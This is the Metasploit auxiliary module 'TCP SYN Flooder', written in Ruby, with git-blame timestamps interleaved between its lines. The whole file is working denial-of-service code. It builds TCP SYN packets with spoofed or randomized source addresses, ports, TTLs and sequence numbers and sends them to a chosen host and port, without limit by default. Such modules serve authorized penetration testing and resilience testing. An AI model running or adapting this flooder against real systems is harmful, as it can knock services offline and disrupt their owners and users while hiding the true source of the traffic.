2009-03-14 00:14:36 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-03-14 00:14:36 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Capture
|
|
|
|
include Msf::Auxiliary::Dos
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'TCP SYN Flooder',
|
|
|
|
'Description' => 'A simple TCP SYN flooder',
|
|
|
|
'Author' => 'kris katterjohn',
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options([
|
|
|
|
Opt::RPORT(80),
|
|
|
|
OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
|
|
|
|
OptInt.new('SPORT', [false, 'The source port (else randomizes)']),
|
|
|
|
OptInt.new('NUM', [false, 'Number of SYNs to send (else unlimited)'])
|
|
|
|
])
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
deregister_options('FILTER','PCAPFILE')
|
|
|
|
end
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def sport
|
|
|
|
datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i
|
|
|
|
end
|
2010-03-18 16:30:57 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def rport
|
|
|
|
datastore['RPORT'].to_i
|
|
|
|
end
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def srchost
|
|
|
|
datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
|
|
|
|
end
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
open_pcap
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sent = 0
|
|
|
|
num = datastore['NUM']
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("SYN flooding #{rhost}:#{rport}...")
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
p = PacketFu::TCPPacket.new
|
|
|
|
p.ip_saddr = srchost
|
|
|
|
p.ip_daddr = rhost
|
|
|
|
p.tcp_dport = rport
|
|
|
|
p.tcp_flags.syn = 1
|
2009-07-17 20:36:40 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
while (num <= 0) or (sent < num)
|
|
|
|
p.ip_ttl = rand(128)+128
|
|
|
|
p.tcp_win = rand(4096)+1
|
|
|
|
p.tcp_sport = sport
|
|
|
|
p.tcp_seq = rand(0x100000000)
|
|
|
|
p.recalc
|
2015-09-27 21:50:59 +00:00
|
|
|
break unless capture_sendto(p,rhost)
|
2013-08-30 21:28:54 +00:00
|
|
|
sent += 1
|
|
|
|
end
|
2009-03-14 00:14:36 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
close_pcap
|
|
|
|
end
|
2009-03-14 00:14:36 +00:00
|
|
|
end
|